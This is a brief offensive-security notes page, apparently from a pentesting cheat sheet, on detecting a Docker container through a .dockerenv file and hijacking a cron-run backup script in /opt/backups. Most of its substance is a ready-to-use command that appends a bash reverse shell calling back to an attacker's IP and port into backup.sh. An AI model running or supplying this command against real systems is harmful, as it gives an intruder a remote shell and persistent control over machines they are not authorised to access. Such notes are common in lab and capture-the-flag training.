If we find a .dockerenv file in the root directory, we are running inside a docker container
.dockerenv
If we find a .sh on the /opt/backups directory like a backup script that might be running a cron job, we can try to write a reverse shell to it:
.sh
/opt/backups
echo "bash -i >& /dev/tcp/IP_ATTCK/PORT 0>&1" >> backup.sh
Last updated 1 year ago